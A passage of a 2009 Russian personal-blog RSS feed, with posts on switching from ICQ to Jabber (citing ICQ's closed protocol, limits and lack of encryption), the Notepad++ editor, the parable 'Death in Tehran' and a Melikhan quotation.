Это&nbsp;первая серия художественного фильма, в&nbsp;которой я&nbsp;расскажу, почему я&nbsp;захотел перейти с&nbsp;<strong>ICQ</strong> на&nbsp;<strong>Jabber</strong>, о&nbsp;недостатках &laquo;аськи&raquo; и&nbsp;преимуществах &laquo;джаббера&raquo;.</p>
<p>Во&nbsp;второй части я&nbsp;расскажу о&nbsp;преимуществах джаббера и&nbsp;о&nbsp;том, с&nbsp;какими трудностями столкнулся при&nbsp;переходе и&nbsp;как&nbsp;их преодолел.<br />
Но,&nbsp;сегодня первая часть. <span id="more-550"></span></p>
<p>Во-первых, <strong>ICQ&nbsp;&mdash; закрытый протокол</strong> обмена сообщениями, система, контролируемая компанией&nbsp;AOL. Например, по&nbsp;их&nbsp;лицензии все&nbsp;права на&nbsp;передаваемые Вами данные принадлежат&nbsp;им.</p>
<p>Во-вторых, эти&nbsp;AOL всячески пытаются <strong>блокировать неофициальные клиенты</strong> постоянными сменами протокола (что&nbsp;уже порядком достало), а&nbsp;официальный слишком нагружен, неудобен и&nbsp;показывает рекламу.</p>
<p>В-третьих, <strong>множество ограничений</strong>&nbsp;&mdash; на&nbsp;длину сообщения, на&nbsp;частоту отправки сообщений и&nbsp;попыток подключения к&nbsp;серверу, на&nbsp;длину пароля (макс. 8&nbsp;символов&nbsp;&mdash; нонсенс), на&nbsp;размеры аватарки, количество записей в&nbsp;контакт-листе и&nbsp;т.д.</p>
<p>Не&nbsp;говоря&nbsp;уж о&nbsp;том, что&nbsp;<strong>протокол&nbsp;ICQ имеет баги</strong>, поэтому существуют сервисы определения &laquo;невидимости&raquo; контакта.</p>
<p>В-четвёртых, <strong>отсутствие шифрования</strong>&nbsp;&mdash; каждый может перехватить и&nbsp;прочитать Ваши пароли и&nbsp;сообщения.</p>
<p>Я&nbsp;начал поиск альтернативы. И&nbsp;ею&nbsp;стал Jabber. Подробнее о&nbsp;нём я&nbsp;расскажу в&nbsp;следующей части рассказа. :-)</p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/06/misc/perexod-s-icq-na-jabber-nachalo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Текстовый редактор под Windows Notepad++</title>
		<link>http://blogfigaroo.ru/2009/06/misc/tekstovyj-redaktor-pod-windows-notepad/</link>
		<comments>http://blogfigaroo.ru/2009/06/misc/tekstovyj-redaktor-pod-windows-notepad/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 20:55:01 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мой выбор]]></category>
		<category><![CDATA[софт]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=541</guid>
		<description><![CDATA[Здравствуйте. Сегодня я&#160;расскажу об&#160;используемом мною в&#160;среде Windows текстовом редакторе Notepad++. Бесплатный, быстрый, удобный. Во-первых, поддерживает множество языков (от&#160;C++, PHP, SQL, XML до&#160;Ada, Tex и&#160;Lisp). Мне&#160;нравится&#160;тем, что&#160;красиво и&#160;без&#160;ошибок подсвечивает синтаксис (умеет, кстати, подсвечивать JS-вставки в&#160;HTML-документ), позволяет скрывать структурные блоки (типа if { ... }), умеет работать с&#160;различными кодировками, включая юникод UTF-8 (с&#160;BOM и&#160;без&#160;него), умеет хорошо заменять [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте. Сегодня я&nbsp;расскажу об&nbsp;используемом мною в&nbsp;среде Windows текстовом редакторе <strong>Notepad++</strong>.</p>
<div id="attachment_543" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/06/npp_screenshot_20090610.jpg" rel="shadowbox[post-541];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/06/npp_screenshot_20090610-300x233.jpg" alt="Cкриншот Notepad++" title="npp_screenshot_20090610.jpg" width="300" height="233" class="size-medium wp-image-543" /></a><p class="wp-caption-text">Cкриншот Notepad++</p></div>
<p>Бесплатный, быстрый, удобный. Во-первых, поддерживает множество языков (от&nbsp;C++, PHP, SQL, XML до&nbsp;Ada, Tex и&nbsp;Lisp). Мне&nbsp;нравится&nbsp;тем, что&nbsp;<strong>красиво и&nbsp;без&nbsp;ошибок подсвечивает синтаксис</strong> (умеет, кстати, подсвечивать JS-вставки в&nbsp;HTML-документ), позволяет скрывать структурные блоки (типа if { ... }), умеет работать с&nbsp;различными кодировками, включая юникод <strong>UTF-8</strong> (с&nbsp;<abbr title="Byte Order Mark">BOM</abbr> и&nbsp;без&nbsp;него), умеет хорошо заменять текст (в&nbsp;т.ч. с&nbsp;помощью регулярных выражений), умеет выделять скобки, завершать ключевые слова, поддерживает множество языков и&nbsp;плагинов, настраиваем (очень удобно использовать привязку синтаксиса к&nbsp;файлам с&nbsp;различными расширениями, например, HTML к&nbsp;*.tpl).</p>
<p>Скачать можно с&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fnotepad-plus.sourceforge.net%2Fru%2Fsite.htm&hash=6KN75AVN7AKO0WOG48SK8480G">официального сайта Notepad++</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/06/misc/tekstovyj-redaktor-pod-windows-notepad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>История о Смерти в Тегеране</title>
		<link>http://blogfigaroo.ru/2009/05/misc/istoriya-o-smerti-v-tegerane/</link>
		<comments>http://blogfigaroo.ru/2009/05/misc/istoriya-o-smerti-v-tegerane/#comments</comments>
		<pubDate>Sun, 31 May 2009 16:37:24 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[рассказ]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=534</guid>
		<description><![CDATA[Богатый и&#160;могущественный перс гулял в&#160;своем саду в&#160;сопровождении слуги. Вдруг слуга закричал, что&#160;увидел свою Смерть, которая угрожала&#160;ему. Он&#160;умолял своего хозяина дать ему&#160;самую быструю лошадь, чтобы он&#160;мог сбежать в&#160;Тегеран, до&#160;которого можно было добраться тем&#160;же вечером. Хозяин согласился, и&#160;слуга тотчас ускакал. Вернувшись в&#160;дом, хозяин&#160;сам увидел Смерть и&#160;спросил&#160;ее: &#8212;&#160;Зачем ты&#160;напугала своими угрозами моего слугу? &#8212;&#160;Я&#160;ему не&#160;угрожала, а&#160;лишь удивилась, что&#160;он [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Богатый и&nbsp;могущественный перс гулял в&nbsp;своем саду в&nbsp;сопровождении слуги. Вдруг слуга закричал, что&nbsp;увидел свою Смерть, которая угрожала&nbsp;ему. Он&nbsp;умолял своего хозяина дать ему&nbsp;самую быструю лошадь, чтобы он&nbsp;мог сбежать в&nbsp;Тегеран, до&nbsp;которого можно было добраться тем&nbsp;же вечером. Хозяин согласился, и&nbsp;слуга тотчас ускакал. Вернувшись в&nbsp;дом, хозяин&nbsp;сам увидел Смерть и&nbsp;спросил&nbsp;ее:<br />
&mdash;&nbsp;Зачем ты&nbsp;напугала своими угрозами моего слугу?<br />
&mdash;&nbsp;Я&nbsp;ему не&nbsp;угрожала, а&nbsp;лишь удивилась, что&nbsp;он еще&nbsp;тут, когда я&nbsp;собираюсь встретиться с&nbsp;ним в&nbsp;Тегеране.&nbsp;&mdash; сказала Смерть.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/05/misc/istoriya-o-smerti-v-tegerane/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>цитата из К. Мелихана</title>
		<link>http://blogfigaroo.ru/2009/05/misc/citata-iz-k-melixana/</link>
		<comments>http://blogfigaroo.ru/2009/05/misc/citata-iz-k-melixana/#comments</comments>
		<pubDate>Thu, 21 May 2009 16:07:02 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[цитата]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=526</guid>
		<description><![CDATA[Женщина хочет сначала походить с&#160;мужчиной по&#160;театрам и&#160;ресторанам, чтобы понять, стоит&#160;ли идти к&#160;нему домой, а&#160;мужчина хочет сначала привести женщину домой, чтобы понять, стоит&#160;ли водить&#160;ее по&#160;театрам и&#160;ресторанам. Константин Мелихан]]></description>
			<content:encoded><![CDATA[<blockquote><p>Женщина хочет сначала походить с&nbsp;мужчиной по&nbsp;театрам и&nbsp;ресторанам, чтобы понять, стоит&nbsp;ли идти к&nbsp;нему домой, а&nbsp;мужчина хочет сначала привести женщину домой, чтобы понять, стоит&nbsp;ли водить&nbsp;ее по&nbsp;театрам и&nbsp;ресторанам.</p></blockquote>
<p><em>Константин Мелихан</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/05/misc/citata-iz-k-melixana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
